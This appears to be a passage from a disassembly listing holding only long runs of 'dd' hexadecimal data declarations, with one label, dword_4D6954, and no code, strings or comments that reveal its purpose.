		dd 97CB163Ch, 8C2571D5h, 0E9028080h, 6DB4132Ch,	93048011h
		dd 1827F6ABh, 7CB0C07Eh, 1644E7Ah, 0AEE9C4C8h, 2C072AE0h
		dd 3C81C31Fh, 119EDA01h, 5D2739BDh, 0CA1088ECh,	18759698h
		dd 595E15B9h, 0C89420D2h, 64A63200h, 0ED01B5h, 0E4A244Bh
		dd 0A5C436F0h, 7C8294AAh, 220E02D6h, 56061DB4h,	9C4572C8h
		dd 7460CEC4h, 2C78E4A0h, 26DD4C18h, 74563558h, 0D38A08Eh
		dd 2A6444E0h, 96DE320h,	51F1E928h, 8C2108D2h, 3E30918Ah
		dd 0FDC19AC7h, 8824DFF9h, 138142Ah, 72C1811Bh, 1047D9F5h
		dd 8EA48018h, 86A152E7h, 0CA851091h, 0CC337EC4h, 1F2F88AEh
		dd 0C21927C9h, 2A6D34C1h, 0EE0DF088h, 0BD24B36h, 0A8900A24h
		dd 0C071A7EDh, 0BA7ECB02h, 0E81B1A9Eh, 54215C54h, 169A4B4h
		dd 0D71E306h, 0F8F5244Ah, 2D7261D8h, 33041B71h,	7CDDCA8Ch
		dd 0E880F095h, 0B49C5E8Fh, 3A70D6C8h, 67987803h, 112AC65Dh
		dd 3D4817B0h, 0D45C00BEh, 0FFC74EB2h, 44E63E10h, 34791A2Dh
		dd 0DFBA8C80h, 191C124h, 5A6E63EDh, 2909997Ch, 0A36B00A4h
		dd 5BD415B0h, 0C4370923h, 443FEE1h, 19CAB804h, 34E0552Ah
		dd 3BEC2032h, 24808F9Fh, 44AB7360h, 0AB1E5A0Ch,	3C12808h
		dd 98C82A82h, 36182112h, 0E2DCD0C0h, 4849120h, 8A4F5E19h
		dd 0C12806B0h, 0F4184A89h, 0B1436109h, 0E427B02Ch, 0CEC11D24h
		dd 0F656AEA4h, 4914A240h, 62912CDh, 0D4B01298h,	0BC5CF858h
		dd 70C143FDh, 49062271h, 342DFF78h, 0EB18B081h,	0AB6D9989h
		dd 0E8DE8474h, 0C9F40591h, 0E51CD437h, 2A220C4h, 0A853CB26h
		dd 0B4BA2480h, 0BE035FEh, 853AAE15h, 59D93471h,	28167418h
		dd 14054E51h, 53C37E81h, 0F0D4DC7Dh, 85BCC0BCh,	0F409008Ch
		dd 1505B3A9h, 47A7ADAh,	6DC0449Eh, 942B2E56h, 6087A530h
		dd 3047C9E5h, 8F60CC64h, 0F654CEA0h, 6D0099D8h,	8B6148F1h
		dd 7A55FABh, 2DC537D6h,	4C7491B6h, 706860DFh, 1A7000B5h
		dd 4BE946ADh, 84AC8F96h, 0B330C1D6h, 2500437Ch,	3BAA4BCBh
		dd 27325255h, 0B8986982h, 0FF2DB911h, 3E04C4B0h, 0C8C13219h
		dd 8C4AACE2h, 2022B8E4h, 0C1FFD9EDh, 35240137h,	9713C86Ch
		dd 0A20897A3h, 0C468494Ch, 3417B956h, 74B9449Bh, 271A5E08h
		dd 0F1306D01h, 43D4A65h, 454CAD82h, 753C0CF0h, 243B4B21h
		dd 500F723h, 859CB84Eh,	80DA2D82h, 987E6489h, 6438C727h
		dd 1F4E60A1h, 0A6DB00B2h, 5FA269CFh, 7A15E151h,	11983538h
		dd 2F5F1DC1h, 3AFE232Ch, 9C5B3CAFh, 8CDB173Fh, 0E92A1080h
		dd 0E0C96DDh, 8040A1CAh, 4DC178FFh, 0AC32122h, 0D5D1B437h
		dd 912C29A4h, 17AA00A9h, 6D87FBCh, 4B249CC4h, 0B79D071h
		dd 0A15D18EEh, 0D7E4FE00h, 3AF78A92h, 8090B647h, 9668166Ah
		dd 990093A5h, 45853173h, 7E36137Ah, 0A79700B6h,	0A0FAA3Fh
		dd 592507E1h, 10AC0E1Ah, 57511712h, 0A46E50h, 82305DCAh
		dd 2D23AD6h, 0C8801E7Eh, 0CD02C6Ch, 665E5F98h, 0D523A83Bh
		dd 7E381600h, 5B20F1Ch,	469498A1h, 0E45CFA14h, 0E4203F16h
		dd 24BDABBBh, 89C0CF30h, 4D02E63Ch, 0BC582880h,	1638BF12h
		dd 2CB250D0h, 0FCB92EA4h, 0D8CB2F54h, 6C54C6A2h, 1667B883h
		dd 81310562h, 0FB9896AFh, 12533408h, 340CD072h,	9B7F54Ch
		dd 4C0C44D8h, 2EFD34A6h, 0E8C85860h, 0A3420BFFh, 0F07E7DF8h
		dd 0DF14C010h, 0F7228430h, 7CE4B7h, 88336C76h, 0AE1D6430h
		dd 0E74CB51Dh, 0D545E4DDh, 64817634h, 0E800B3EAh, 0E95F4C36h
		dd 588F1092h, 0E69C4B28h, 38D0B710h, 0BD0A74h, 0DB7E18FFh
		dd 0DCAE30B7h, 908BCE2Eh, 88B8A614h, 4464ADD5h,	8B073071h
		dd 0BB11EDCDh, 0F6002725h, 9D98656Ch, 192913ECh, 0D1E4803Ah
		dd 9BE2C58Bh, 0D678A891h, 0EF0086C1h, 4530B5C9h, 0FEACEEFBh
		dd 0C0BB24C7h, 43F9158h, 5675F1C8h, 8B3AA0DDh, 0C058C88Ch
		dd 0CE57029Fh, 0F4C2AE01h, 0D9067E14h, 0EF40657Fh, 36B81C30h
		dd 0DEF52EC4h, 537B9FC8h, 81804078h, 0BB9E32CFh, 5FE51600h
		dd 0F2F4B6Dh, 3FDC1F80h, 0C4BA008Bh, 0DFC1B42Ch, 3E44D894h
		dd 7B1CF052h, 0B856DA01h, 32E646A1h, 0A0B47985h, 3A288920h
		dd 947D808h, 4C5CA17Ch,	0E08B6AC5h, 8CC0DBC8h, 0B8885A5h
		dd 4AEEF4BAh, 68976C10h, 8B80FC1Fh, 719B4540h, 257C5C11h
		dd 0CCF844F1h, 86F045BFh, 69CA99CCh, 24CD2EE9h,	4F0B0FCh
		dd 0E55D73A3h, 30A9BDh,	108FBB8Ch, 5F21489Ah, 306CC72Ah
		dd 80C83914h, 4B3935Eh,	0CE8D848h, 97E08Ch, 48E5BEDFh
		dd 13ED2857h, 0D21C7605h, 25EB32ABh, 0F268A2A0h, 94743084h
		dd 0D4975202h, 5FB9D609h, 7497CC0Bh, 80E10C1Eh,	2AC913A4h
		dd 0B22599A6h, 0FC5967h, 402CDA0Dh, 0CD12D046h,	0C6013B96h
		dd 879E264Dh, 543490CFh, 58E195B1h, 58272044h, 98F4A15Eh
		dd 0D4504035h, 873CE219h, 887B1918h, 5D09C06Ch,	2AE5371h
		dd 10BEB254h, 0B8941C2Dh, 9ACF242h, 423E947Eh, 0D5B8544Ch
		dd 2E91038Ch, 6C431967h, 0C894FEF8h, 0A921C137h, 0B92E44A0h
		dd 4CC024D8h, 0A8CD499Ch, 963CE9C0h, 109E0192h,	0F2E679B7h
		dd 0FC0B2B1Ah, 94CCF011h, 3209DC4Ch, 0D6F723C7h, 10A951E8h
		dd 4064E27Ch, 9644E968h, 97CB004Bh, 0AE1A8A53h,	1000146Bh
		dd 0A939FD92h, 6017465Ch, 0A7B88925h, 5D50671Ah, 4C2F3730h
		dd 0BEA8C035h, 60C25329h, 30DC0BA3h, 77B04C79h,	0BB39000Dh
		dd 13B2B76Bh, 700D9774h, 61E5E71Fh, 808CDB2Eh, 0C034DD9Fh
		dd 0D69D7CACh, 170403B0h, 9AC4FBF3h, 0CECEC820h, 7C67AB21h
		dd 581031C5h, 6E40BC70h, 2A852DE8h, 9F91C49Dh, 2068F596h
		dd 3140C64Ch, 0EB2E04CDh, 0EEA24FC4h, 2646E404h, 10B9E921h
		dd 90A41B8h, 387FCB78h,	1EF3D4B0h, 441CED00h, 7188F5F8h
		dd 0AC044C1Ah, 3727E00h, 0FCC4DFC0h, 4127367Ah,	4EFCA211h
		dd 0ACC100D9h, 6D80E1B9h, 4A422F36h, 3B8304D3h,	0B30527Eh
		dd 81799131h, 0C8375805h, 1F439BCh, 467C2CBEh, 0A9720ECEh
		dd 0F4A0B38Eh, 391B80BEh, 60082BEFh, 0B392BD5Eh, 0BF70D25Dh
		dd 0DA108C44h, 0E0469ED8h, 0C91A8102h, 20DC5E21h, 9D309A27h
		dd 80CF1114h, 0B30B6273h
		dd 56A6041Fh, 0BF9034C8h, 9193801Eh, 0FA07BCE2h, 56586D0h
		dd 32C480B8h, 0B76016B4h, 3F85F1B8h, 0DC009578h, 3DA493B5h
		dd 0D9D72A00h, 0E7AE91A8h, 7E6B01F6h, 0C18299D0h, 0C014EB2Dh
		dd 168C3E2Fh, 24E06A86h, 0BE0708FDh, 0FC12C232h, 8991ECA0h
		dd 8312FA4h, 4CF02902h,	2134BC19h, 0E46BAD1Ch, 38DCEDA5h
		dd 0B42D9202h, 17DFCFDh, 0B9CAB39Eh, 5DD9F5A5h,	805430A8h
		dd 265A0BF0h, 82A61C42h, 314D0C0h, 34DFF903h, 49ADC55Ch
		dd 449BAEF0h, 2A6892A0h, 51A20C25h, 0E8CA93DCh,	0A88D96A8h
		dd 879D442Ch, 8AEAC1FEh, 52095820h, 10DA5F20h, 7CA3947Ah
		dd 0BC117Eh, 0C381D401h, 0BC6D2F9Ah, 4309385h, 30AC39C0h
		dd 401E7D67h, 22FB3501h, 9CB31358h, 0FE109C2Fh,	86F4C2C1h
		dd 7CB57F97h, 0B50CDB80h, 1256BCD9h, 0D0226F60h, 0A88E7174h
		dd 51B338h, 0E79FC554h,	987793Dh, 97393B1Dh, 465C4C74h
		dd 7649005Ah, 892C271Eh, 0DDF080h, 1F1B0C8Ch, 0B85C0E70h
		dd 6E743414h, 73EA00A8h, 2780E8EFh, 0F83B1C2Fh,	1C217042h
		dd 0DC0F324Eh, 2F81587Bh, 57F183DAh, 63C3A0C2h,	1DF4B96Bh
		dd 437F0215h, 2F408271h, 4A0FF939h, 0E9196A23h,	20108FE7h
		dd 60C03651h, 18A004CCh, 0BBAD63D5h, 0E1C60409h, 6B3B8898h
		dd 87D6004Ch, 616C5FEh,	21AD05CAh, 0AE6CDA3Dh, 47A1102Bh
		dd 70E08791h, 0D9478A46h, 62AA080Ch, 273B18BDh,	3AB85B03h
		dd 8E21A10h, 0BD03A7A4h, 0F4201040h, 0B2A010B0h, 10542210h
		dd 0C67EF8CBh, 8D40149h, 202E8420h, 25313109h, 0F01E307Fh
		dd 887B2101h, 0CF64C10h, 1C08E24Ah, 41185763h, 64081055h
		dd 565107Ch, 8C0EB3Fh, 0CF302662h, 99D10651h, 20B39920h
		dd 520EBCCh, 0BCFF312Fh, 8861EC18h, 18C0AC08h, 9552810Bh
		dd 92C610C6h, 0AA062208h, 40E2B140h, 9E404A4Eh,	0E3A24092h
		dd 0F41590A8h, 5CCA08C6h, 8C51FD18h, 5A01F7BBh,	77188CAFh
		dd 40E108C8h, 19C6CE56h, 0F028432Ah, 2408081h, 3D99E1D9h
		dd 0A8093988h, 5AE9A119h, 371702C2h, 6BBDE02h, 4B7EE121h
		dd 0CA29D280h, 98D44508h, 0D8609978h, 3AB308C4h, 436FF04h
		dd 0A70CDE46h, 0E5697489h, 58478C08h, 9CD1409Dh, 67D3F240h
		dd 9CFA1876h, 4401308h,	12FCA928h, 4957AC51h, 0CC19308Ch
		dd 7D808DE1h, 577780BEh, 8C468583h, 0FA080963h,	2C30C6EFh
		dd 4D6708FEh, 89C2041h,	6D89C60Fh, 6200803h, 0A3423248h
		dd 2448F540h, 4380A153h, 53448180h, 311AAEF4h, 0C0833F0h
		dd 401308D1h, 84A91F25h, 1C202496h, 27104265h, 0E4E8B846h
		dd 607E2010h, 31DCC520h, 3F08FC76h, 0D9A70135h,	81324C03h
		dd 49D829D1h, 0E852CC34h, 0F29CA2ADh, 22244AF1h, 2316F84h
		dd 34054062h, 0D510EC5Fh, 1843FE10h, 7B3094F4h,	7608C44Dh
		dd 0D7F70663h, 0BC732020h, 63A47420h, 607A17Eh,	44591024h
		dd 7C3E22A4h, 13385849h, 984C7D69h, 0C41B18DAh,	4457629h
		dd 191D5516h, 8C9F10D0h, 1883BAA9h, 2068925Fh, 8F325326h
		dd 0AFC720DDh, 12E0C894h, 90345F8Ch, 0B51A1932h, 0B4522310h
		dd 14006807h, 98638082h, 0A4528481h, 680C687Fh,	8F28C924h
		dd 0EE68742Eh, 205F3A0Ch, 3190FB38h, 5097185Bh,	2555A208h
		dd 0A4DA226Ah, 7780A105h, 14D743DFh, 0E78C1F2Fh, 1CEC1044h
		dd 8EF924E8h, 0C55DD115h, 0EA0FB855h, 2D7B5000h, 7173DAFh
		dd 0D549F6F3h, 2CAF098h, 0E0E84E07h, 0B7122608h, 6F43806Dh
		dd 0BFBD4511h, 7F6C5100h, 0B1B29C66h, 0EF76072Fh, 0B3BCA9E2h
		dd 0A1008075h, 0DAE82EEAh, 0B041CFD9h, 57C14490h, 51EF0A00h
		dd 0DF7D80A6h, 0B6040BE1h, 0ACE3A121h, 5440724Ah, 0E84E0EEFh
		dd 405E6156h, 0E0AC1EA6h, 10C7D9B3h, 120041E6h,	0E3C336BCh
		dd 0B0E064E0h, 4A2803D0h, 91697590h, 3E70781Fh,	16C0807Dh
		dd 0C2325F02h, 6D34A0B6h, 0FD4D00ABh, 0DD657B47h, 8C949975h
		dd 81251800h, 1E372E7Ah, 40729245h, 2911C26Fh, 0E04A74F8h
		dd 3E226C80h, 2AC0C9F6h, 36CBC681h, 0B058D0D5h,	0E25FAC02h
		dd 58D7E8C2h, 6DED16C8h, 2568F4ADh, 7722920Ch, 41C1103Ch
		dd 170E52Dh, 5452B89Fh,	0D04500BBh, 0CA0BF2Eh, 9FE74Eh
		dd 0DDAD82C0h, 8A6B00BEh, 87B44F78h, 0B11349AEh, 0FA10E888h
		dd 814A0C9Ch, 4042E85Dh, 102CAA96h, 7E80D402h, 0DD35032Ah
		dd 36CD1892h, 0D52808FDh, 1748D88Bh, 60E77A1Dh,	0DE67505Ch
		dd 0C461E84Dh, 34376D61h, 98A4309Dh, 8A5210FDh,	0B3B19B03h
		dd 0AA60BE8h, 0DCFB2F89h, 59D10820h, 6FA96000h,	0D9D3B8h
		dd 65F27F5h, 0A043E898h, 0C01120CFh, 0F32D6580h, 0DEEE0088h
		dd 427210A4h, 8C9054CBh, 0D4F93702h, 0D45821FBh, 37A0004h
		dd 0E9CA102h, 64EFA700h, 0B9E243B4h, 48752E16h,	0C33CBCE0h
		dd 4DD61F7Fh, 0C6101615h, 0F7EE709Ch, 0BB8F4200h, 545082E9h
		dd 0A231066Dh, 98E295E8h, 4B7AB0Eh, 6CA9002Bh, 0EC25D49h
		dd 21DB8099h, 0AA9355E3h, 29E3FCE3h, 1CE000AFh,	20B5FE94h
		dd 9C039A74h, 1580A10Dh, 0C81F247Dh, 0A27816A2h, 19AB0098h
		dd 175C7160h, 0E8E71826h, 2235808Ah, 451C4077h,	0ED00C4E9h
		dd 91865921h, 80A203A0h, 515DF1D0h, 0E073E1D1h,	11C0DAA8h
		dd 83B698D1h, 783306FCh, 0F87DF375h, 0E86E540Fh, 58603884h
		dd 7F0B1281h, 0AA18D1A8h, 0E8544113h, 0B8033FE7h, 0A7C42674h
		dd 0F30A21C1h, 4748209Fh, 0B0F263EDh, 0E899C77Dh, 8B49FF6Fh
		dd 28D4591Eh, 16B80B1Ch, 2C5A9134h, 694E2706h, 10302B21h
		dd 248EAB75h, 0ED1DD87Ch, 8A40A864h, 0C5324F36h, 40950A90h
		dd 12A1188Ch, 404C4415h, 1BEDC530h, 1293C08h, 15DD4D7Ch
		dd 0F9F6D0EFh, 0E8AE0604h, 4C88D0ABh, 3C4A46Ch,	17038A7Eh
		dd 113C29F5h, 30A6013Ah, 8098CCD7h, 2E64D100h, 256E16F2h
		dd 0A558279h, 0FDDC841Ah, 0C120AD04h, 2358D6Ch,	2878F048h
		dd 13A8C275h, 734C866h,	869DBF40h, 56267839h, 2818E818h
		dd 96B870h, 0F3FD1FEDh,	0C16F75Bh, 0C384B551h, 271202Ch
		dd 58B06025h, 0DCE50F70h, 0B983F10Eh, 15D8DB8Ah, 0B400B289h
		dd 0B8E79DFCh, 50B57591h, 122A90D1h, 0EF1873h, 392CAD4h
		dd 751CC252h, 660AEE74h, 0D809E8CCh, 9708A3EDh,	68A94965h
		dd 0E89EB703h, 20126070h, 0B013EEEFh, 98C34487h, 0ED1813DAh
		dd 86030017h, 46FA3667h, 23382114h, 7EA509B8h, 344C9042h
		dd 250AE855h, 0F0C05C22h, 450C0BAFh, 105E2021h,	7EA3D42h
		dd 0BC136D07h, 3F3800Ah, 81307531h, 4492A8ACh, 0AF3004BAh
		dd 923921A6h, 0FA40D3C4h, 0CE071D70h, 0AA86DE47h, 303AB6C0h
		dd 9FD0037Dh, 0F1238BBh, 0AB44ADC8h, 2ACCC002h,	80109117h
		dd 0D0B380C8h, 9813FADCh, 6CB40B1Ch, 8E003AF3h,	4DA4E98Bh
		dd 10F0A903h, 0E0702D27h, 33B3D2CFh, 38186044h,	0E857A1E0h
		dd 8CDDD928h, 1E0E4575h, 32182D1Ah, 222EB309h, 1C5F2B4h
		dd 0E46D0CA9h, 75EA44FBh, 0DC2FB628h, 818C3648h, 0A760E8AFh
		dd 0C74C842Ah, 0C51383F4h, 6BD603Eh, 7B480951h,	507AFC20h
		dd 9082ECEFh, 0CB6212B0h, 589C302Eh, 241F421h, 40B05EEAh
		dd 13996415h, 31216338h, 0FC9A185Bh, 0D9115463h, 75E040B2h
		dd 10D0EA30h, 18A236B4h, 21716B4Eh, 0A74CDD05h,	3614C034h
		dd 0E05ADB9Fh, 83B8006Bh, 4A62E780h, 2309C8C0h,	0A47C917h
		dd 8A845078h, 4D144D7h,	4500845Dh, 8B0C1817h, 59959875h
		dd 2F9D006Bh, 0A8FFF544h
dword_4D6954	dd 0FEE879C2h, 0C0023C00h, 0A1FB2AC6h, 0CDE798Fh, 4E447541h
		dd 8B01C338h, 1724B846h, 68A431BCh, 4DFF0554h, 0C718D482h
		dd 1121619Ch, 2A6442ABh, 0D43DFC40h, 149EB880h,	90286C16h
		dd 40751B04h, 2EE800DCh, 244B6BEh, 3235D4B7h, 14F4C608h
		dd 8CAC800Ah, 48C96F64h, 81BE2020h, 0E4406EA7h,	14F736BDh
		dd 0B12DE815h, 0A04714C8h, 6451E000h, 1ADFEE8Dh, 787F2100h
		dd 0A170639Dh, 0B4134C6Ah, 78E44710h, 2C681658h, 394CA3h
		dd 0E1C84DDFh, 9E636BAh, 0CAA23214h, 0C19D7887h, 516CA4D3h
		dd 0F7F64Ch, 0B6A11F6Dh, 0DA61FF4h, 0F818E34Ch,	0ED078C3Dh
		dd 20A6A36h, 7804D56h, 1098EAD5h, 7B39D1A5h, 618A7034h
		dd 16AE5D06h, 0E6608180h, 34FF78D5h, 25102B4Dh,	0CDAC83C0h
		dd 0C0AD98BBh, 174FF45Ch, 591E1A0Bh, 9F2882C8h,	26BA00FDh
		dd 0D10DFCF9h, 407F1A29h, 0E082A012h, 0F25BC94h, 3B91089h
		dd 4C74E981h, 0A8208A9Dh, 0AA1DA0BFh, 0CC0B2C24h, 0A91890C9h
		dd 50E05C87h, 68E598C3h, 0D46185BAh, 0F3B2CC78h, 46FB4E00h
		dd 9F6417A9h, 2004B012h, 449AFA29h, 0B3F5B600h,	8775D1B4h
		dd 8260DDD7h, 0DA9244FCh, 0FB43D840h, 4E18A898h, 0FDB959E5h
		dd 7079F0DCh, 2622F0F6h, 80707D0Bh, 0A5E5C00Fh,	0E2139C40h
		dd 0AC02C911h, 600A8617h, 7AED1B60h, 1362FC18h,	0E88D16B4h
		dd 81147058h, 108036CFh, 700235E4h, 0BC0BD02Bh,	0F0C924C1h
		dd 75192EC7h, 3020345Fh, 175EF070h, 414ACD21h, 0DF8D69C4h
		dd 0C20860A9h, 5822BE81h, 7F10AA01h, 0C08EB095h, 6830A9AFh
		dd 5F191180h, 0DD3B1A2Fh, 1CE15972h, 0AD317016h, 26B28202h
		dd 41627417h, 1CC4C8C8h, 787364A1h, 22C88035h, 10DEA5E0h
		dd 5423BF40h, 158CF747h, 0FC80A119h, 0C1500092h, 95D8A431h
		dd 3717AA00h, 2897386Ch, 1213D74h, 0C14EAC4Dh, 6EAC1774h
		dd 0E1C96400h, 0E929B9h, 18996515h, 4FF7214Bh, 9C0531D3h
		dd 60D5049Eh, 0BC893884h, 0BD9FD9F0h, 0C7B0C02Ch, 4B12A320h
		dd 0C30C0637h, 8498D169h, 2162F488h, 19772A35h,	6DAA6481h
		dd 484CC022h, 89005F3Dh, 0E52CD03Eh, 2312269h, 0C6A42024h
		dd 2CEFC824h, 88C864h, 5F89C7DAh, 365CCD8Eh, 18C1743Ch
		dd 0D92F21AEh, 0ECF4C980h, 6D2BFF25h, 0B79BCC03h, 0F0CDD4F1h
		dd 1DE048EDh, 0C1235313h, 18FAA79Fh, 0FB68F077h, 99011D78h
		dd 0D1BDBC2Eh, 25F0159Dh, 22DF071Bh, 13EC5703h,	110C1D6Dh
		dd 29BCE42Fh, 0C0CF5860h, 3E88204Ah, 0EE2469A7h, 0DF9798B5h
		dd 1714DC31h, 6AEE3071h, 0E934C1CCh, 318BC000h,	13ECA750h
		dd 8C018EFCh, 1CD02871h, 1823446Bh, 9C36BE02h, 0A4C66F5Fh
		dd 0B346F40Ah, 44EB084h, 488332E1h, 1A9DE04Bh, 4A21785Ch
		dd 75EC707Eh, 1C9A9052h, 80947098h, 36B94580h, 3DBD58A0h
		dd 0DE802A82h, 0DF798062h, 0A10B2BE8h, 0C9EBEh,	90A4B33Eh
		dd 614C6322h, 4C813A3h,	2D4C6F92h, 44700344h, 0E0E843CDh
		dd 0F6C1F5h, 4C483C38h,	196BE158h, 0AE39C4A0h, 5200EFFCh
		dd 385EFB97h, 4CB77628h, 9D0B9680h, 270711A8h, 0E69030F2h
		dd 0F900D3E2h, 2DD0FAF6h, 2466C3h, 8614CEC7h, 0DCAE4AADh
		dd 0CA0F0200h, 52D16938h, 0D9460113h, 8F751968h, 82F8AC03h
		dd 1AE0E805h, 3CA460C0h, 51492CF9h, 7F4800BCh, 0AD28BC9Dh
		dd 0DD497B72h, 0E6FC00ECh, 692401DFh, 0EF5B07D4h, 18DC2297h
		dd 4B96AF05h, 90036882h, 907B7FC8h, 0E841C98Ch,	39FCE388h
		dd 6916B386h, 0FD48283Dh, 1FDE1718h, 41FF5804h,	7BC9A502h
		dd 0BD09B852h, 870C4F16h, 810F258Ch, 0CDB611A4h, 142AE9F1h
		dd 4933848h, 2803E0h, 0A41219E2h, 7C711E14h, 0E6F105A2h
		dd 45B8D153h, 0F28074A7h, 9E44740h, 3317A816h, 309EF869h
		dd 3C9164C4h, 80EB2D0Ah, 3D054826h, 0BA854DF3h,	5A2288D0h
		dd 6C997Eh, 0DFD79E93h,	0BD26CA47h, 80602065h, 186038EFh
		dd 59161821h, 221872BDh, 0E841281Bh, 3A6B00BAh,	0A6413501h
		dd 3824150Eh, 7B1B7C36h, 0D9819380h, 4472AD7Fh,	0FD6EA402h
		dd 44C0FEEFh, 817478Dh,	0C846F491h, 369038Ah, 75FC13A4h
		dd 38003394h, 451A18A7h, 98F929C2h, 0C4262D64h,	67A87020h
		dd 8B17DB9Ah, 9C081C2Ah, 13602EF1h, 175C0230h, 0E88078AEh
		dd 0D43313B4h, 1C95DF14h, 0CEBE00D4h, 2294EA02h, 8450ED3Fh
		dd 14492h, 6B631918h, 0B9D183F6h, 5B9AB807h, 7AA0BCA9h
		dd 7AE71D26h, 0F370C0C1h, 0B180C06Dh, 7D5B8F09h, 7F0080EAh
		dd 57F56Ch, 2CCEE128h, 0BAA966E4h, 1315200h, 7ED02FFCh
		dd 649155h, 62687880h, 3C983399h, 4E49C91Fh, 3D01BCAEh
		dd 21AC10DFh, 0A887E2D5h, 82560C99h, 20DF72B9h,	17109124h
		dd 2D6092E6h, 0AE70151Fh, 0F018AD1Fh, 60400116h, 5D16B760h
		dd 95C0A3E9h, 88459457h, 0D800C4EEh, 56FEEB5Ch,	0AE1026E8h
		dd 4DF783A0h, 87C1B0Dh,	5AC0E43Eh, 0BC2D5860h, 60A84972h
		dd 0CCC09F38h, 0ED611096h, 0AC38AD63h, 0C2476DA0h, 960B4490h
		dd 40B6E89Ch, 74724418h, 0E0751716h, 0BF044078h, 0B23C4FA2h
		dd 0CB58D9E0h, 64525F18h, 4FE844C0h, 0A668B4EBh, 89BD07A0h
		dd 820F916h, 0B69F58FCh, 9C711A00h, 2D6186B2h, 0AF2E02D8h
		dd 5EBE282Bh, 57B7B860h, 0E83E6904h, 308CBAF8h,	0F0E68192h
		dd 84A8E550h, 6A0FA225h, 869BAC02h, 197BAAh, 0C5FA071Dh
		dd 60EB484Fh, 8ABFA90Eh, 608E2E43h, 156114EDh, 9CA0003Ch
		dd 68CAD0BAh, 513A3D30h, 7EE309A6h, 1A64EC5Dh, 0C8798A17h
		dd 0FDA9D848h, 0AEF6D701h, 15274E7h, 16BE2882h,	80006413h
		dd 24F59FD0h, 1D303908h, 6CCA84C3h, 1688CAE0h, 0DC929A61h
		dd 1E8CC128h, 59F56430h, 0B059AC32h, 16B46003h,	601F342Fh
		dd 428BC8C1h, 0F17002BFh, 1D28514Bh, 6C76C3F9h,	25F0BBAAh
		dd 0EE0098BFh, 5E84B6DFh, 0EEF3DE2Ah, 0D61C3BE0h, 0CDCF605Ch
		dd 8B85242Eh, 0C967C616h, 48CBD100h, 6AA9FA40h,	299E1CC5h
		dd 95770185h, 80E51916h, 21AD1BA8h, 6343E8ACh, 1763D083h
		dd 694BDD90h, 0F3FB1400h, 34E8AB1Eh, 4820CB90h,	18132C13h
		dd 0B4123AC8h, 0BB175C83h, 69800B71h, 28989FFFh, 0EA054E0Eh
		dd 0CFE552A4h, 0B4F574C1h, 7B756BCCh, 1C1894FEh, 206D451Ah
		dd 0A6A0B0A4h, 497F1F00h, 0BAC9C89Ch, 0A4364F16h, 2634B390h
		dd 40EC989Dh, 1805D26h,	84DEE95h, 4C9E6C5h, 28AC31CDh
		dd 0A85C85A4h, 24EB8B2h, 0B280A4B0h, 0BF09C464h, 20B86D16h
		dd 0A50399F4h, 13753B0Fh, 0DD702065h, 1E82964h,	12BA4E0Fh
		dd 75E49A9Fh, 17B84F8Ch, 1324202Ch, 997F54Eh, 841884E8h
		dd 0A0698301h, 0B17030CBh, 0C9A8E312h, 870A8000h, 1E56A6FBh
		dd 26A4E0EEh, 491E009Fh, 0ED68C980h, 2127A976h,	878CC115h
		dd 0B109E063h, 0C07FCCCh, 0D33AE422h, 0CBC0CD24h, 0AE0CB630h
		dd 186F1921h, 40DC909Fh, 390D15FFh, 48655416h, 0C2C7E861h
		dd 1EF8F0A1h, 0AB66314h, 88F4815Eh, 76FC8F1h, 6E8B9E3Fh
		dd 80DD4048h, 61AFF8B9h, 3028165Ch, 0CA5D0F00h,	0DCC8D408h
		dd 0BFEEA639h, 0D3CC81A4h, 0B0C71C0Ch, 166AAED9h, 5C0A00C8h
		dd 0D26AB76Ch, 0F516C509h, 0C95CC63Fh, 5401A470h, 63057C72h
		dd 0F4AF2920h, 4088B412h, 3C1000Ch, 0E271F1EFh,	0ED1D1310h
		dd 4AC5F867h, 0CB0AEC3h, 1611C2FAh, 88874649h, 0B1250ADh
		dd 70B0E618h, 0A84E82Dh, 0B51EACD0h, 700F5B0Ch,	971C083Dh
		dd 0C812428Ch, 0F6177005h
		dd 9FDCB440h, 26939BAh,	0D1A05F91h, 6106BD94h, 0E61A0B68h
		dd 0B4A2D418h, 0A600D397h, 6A76750Dh, 990D029h,	7C0A12DFh
		dd 0FAB34018h, 11C05D0Eh, 0FED17FBAh, 7B3016DFh, 0AB380095h
		dd 75789FC9h, 80515820h, 805E40F8h, 0BB05351Bh,	0CD75494Dh
		dd 202068A1h, 0C8F640C5h, 0E55B8CB2h, 0E815E00Ah, 5A0EE884h
		dd 100C96h, 29B483ADh, 0EBCC75A3h, 0BFAF48C0h, 0D64E651h
		dd 0EA67E84Fh, 631A3030h, 0B3209092h, 2EA2E213h, 1EDFFFB6h
		dd 3EE087EDh, 1416119Bh, 0C978803Ch, 9861D1D3h,	0B521734Bh
		dd 44FF3800h, 0D8B4D492h, 4C9D0C44h, 0C3718841h, 0B0C465C0h
		dd 8B8A51A8h, 0BB46848h, 6D410FA6h, 2592E000h, 2F000420h
		dd 0A3BFE7BCh, 262114ECh, 85A8FE08h, 470580Eh, 81034FE5h
		dd 3F450ACh, 70278A56h,	4CB420A8h, 1B139A00h, 15104DD7h
		dd 0C0402E4Ah, 32696400h, 0AFE44045h, 0A3B9C958h, 9D016C46h
		dd 1ABDB9BAh, 86D45938h, 1B3D0287h, 7EB1C84Dh, 0C7208C70h
		dd 0BAAA3F9Dh, 24B6A00h, 0AED0CEC8h, 276D910Fh,	9145899Ah
		dd 1070EF68h, 0ECB413Bh, 2DF32054h, 48029A7Eh, 0E607F6F7h
		dd 0D68276C7h, 148CC117h, 3BB8870h, 3519C540h, 7DE8AA2Ch
		dd 8F03CFA1h, 14217490h, 81D00049h, 0B7EDC4Bh, 0CF0B6BFFh
		dd 0A7BCE89Ah, 21F25674h, 694084FBh, 0A8684BABh, 0CF52F8C0h
		dd 0FC5D11CAh, 0A28AC842h, 0B7E71C8h, 40AF1404h, 0A91F1C2h
		dd 0A3CA3017h, 1CDE3010h, 101D4D28h, 0EC01A62h,	0AA07062h
		dd 1C69BEC0h, 0CCB900C4h, 0B79C2DFBh, 0BECD353Ah, 9A180084h
		dd 0F3D57A12h, 0E0B0137Fh, 0A91C0055h, 47A0CD6Bh, 0A880590Fh
		dd 0D3A22009h, 4AE8BFD4h, 6870D3AFh, 0B1893DA2h, 24D838C2h
		dd 460AAB00h, 23E14B6Fh, 1A3D0319h, 0AD88E8A1h,	344D827h
		dd 0D5917588h, 61796890h, 4110045h, 1F1ADDEEh, 3500C00Eh
		dd 2A918846h, 0BD76E712h, 6AEEC000h, 5D71188Bh,	0A8F7B300h
